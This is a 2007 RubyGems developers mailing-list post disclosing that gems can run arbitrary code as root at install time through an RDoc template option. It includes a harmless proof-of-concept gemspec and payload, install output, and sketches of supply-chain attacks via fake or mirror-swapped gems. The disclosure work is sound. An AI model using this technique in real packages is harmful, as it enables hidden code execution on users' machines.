[Rubygems-developers] Trojan a RubyGems Package in 3 Easy Steps (was "Re: Need to release 0.9.1 due to security exploit")

Paul Duncan pabs at pablotron.org
Tue Jan 16 23:05:12 EST 2007

* Eric Hodel (drbrain at segment7.net) wrote:
> On Jan 16, 2007, at 14:11, Paul Duncan wrote:
> > * Eric Hodel (drbrain at segment7.net) wrote:
> >> On Jan 12, 2007, at 22:58, Paul Duncan wrote:
> >>> * Eric Hodel (drbrain at segment7.net) wrote:
> > [snipped]
> >>>> RubyGems does not check installation paths for gems before writing
> >>>> files.
> >>>
> >>> The potential security problems with RubyGems are actually much  
> >>> worse
> >>> than that.  Documentation and tests are executed as the user  
> >>> doing the
> >>> install (which, as you said, is usually root).  That means I can  
> >>> embed
> >>> arbitrary Ruby code in either the documentation template and it will
> >>> usually be run as root.  For example:
> >>
> >> I don't think there's an easy way around this one.
> >
> > Easy is certainly subjective, but there are a couple ways to "fix" the
> > documentation hole:
> Currently no user-generated code is run to create the documentation.   

I'm not sure what you mean by user-generated (do you mean generated by
the author, generated by the end user, or something else), but if I
wanted to install a trojan on thousands of peoples' machines, all I'd
need to do would be to build a malicious gem (see below), called
"rails-2.0" and upload it to my gem directory, then sit and wait.

Alternatively (if I wanted to be a bit less direct about it), I could
break in to one of the mirrors and replace a legitimate gem with a
malicious version that included a trojaned documentation template. 

> The RDoc tool doesn't eval anything, so I think generating  
> documentation is safe.  (Of course, I'm not 100% certain you can't  
> get code eval'd by running RDoc on it, only 99%)

This is simply not true; any code in an RDoc documentation template is
executed at install-time by the installation user (which, again, is
usually root on Unix systems).  Here's the excerpt from the example I
sent previously:

  # relevant contents of malice.gemspec:
  spec = Gem::Specification.new do |s|
    # basic gem stuff here

    # use ./malice.rb as the rdoc template (the contents of this file
    # will be executed as the installation user)
    s.has_rdoc = true
    s.rdoc_options = ['--template', './malice.rb', 'malice.rb']

And here's the contents of malice.rb:

  $stderr.puts "hello, i'm running as #{ENV['USER']}"
  exit 0

Finally, here's what happens when we build and install this gem:

  pabs at halcyon:~/proj/snippets/ruby/malice> gem --version && gem build ./malice.gemspec && sudo gem install ./Malicious-Gem-0.1.0.gem
    Successfully built RubyGem
    Name: Malicious-Gem
    Version: 0.1.0
    File: Malicious-Gem-0.1.0.gem
  Successfully installed Malicious-Gem, version 0.1.0
  Installing ri documentation for Malicious-Gem-0.1.0...
  Installing RDoc documentation for Malicious-Gem-0.1.0...
  hello, i'm running as root                        <-- THAT IS VERY BAD
  pabs at halcyon:~/proj/snippets/ruby/malice> 

The gist of the output above is that if you pass RDoc a template (the -T
or --template command-line options) via the Gem specification file, it's
evaluated and _executed at _installation time_ as the _installation user_
(which is usually root on Unix systems).

I've attached both the gemspec and the rb file; feel free to verify this
behavior on your own.

> Running unit tests and building extensions is less-safe.

They're about the same.  Paradoxically, unit tests and building native
extensions may actually be more safe than generating documentation, in
the sense that people reasonably expect both unit tests and compiling
native extensions to execute some sort of packaged code at installation
time, while the same cannot be said about the documentation.

This unintentional side-effect of RDoc is what makes this hidden corner
such a good place to stick malicious code, which is exactly why I'm
making so much noise about it.

> -- 
> Eric Hodel - drbrain at segment7.net - http://blog.segment7.net

Paul Duncan <pabs at pablotron.org>        OpenPGP Key ID: 0x82C29562
http://www.pablotron.org/               http://www.paulduncan.org/
-------------- next part --------------
require 'rubygems'

blurb = 'This is a demonstration of a malicious RubyGem.'

spec = Gem::Specification.new do |s|
  s.platform = Gem::Platform::RUBY

  #### Basic information.

  s.name = 'Malicious-Gem'
  s.version = '0.1.0'
  s.summary = blurb
  s.description = blurb

  s.author = 'Mallory Malice'
  s.email = 'mallory at example.com'

  s.require_path = '.'
  s.autorequire = './malice.rb'

  s.files = Dir.glob("**/*").delete_if { |path|
    %w{CVS .svn .hg}.any? { |chunk| path.include?(chunk) }

  s.has_rdoc = true
  s.rdoc_options = ['--template', './malice.rb', 'malice.rb']
-------------- next part --------------

# Hello, I am an ordinary module.  Nothing to see here.
module Malice

$stderr.puts "hello, i'm running as #{ENV['USER']}"
exit 0
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://rubyforge.org/pipermail/rubygems-developers/attachments/20070116/53dc53cd/attachment.bin 

More information about the Rubygems-developers mailing list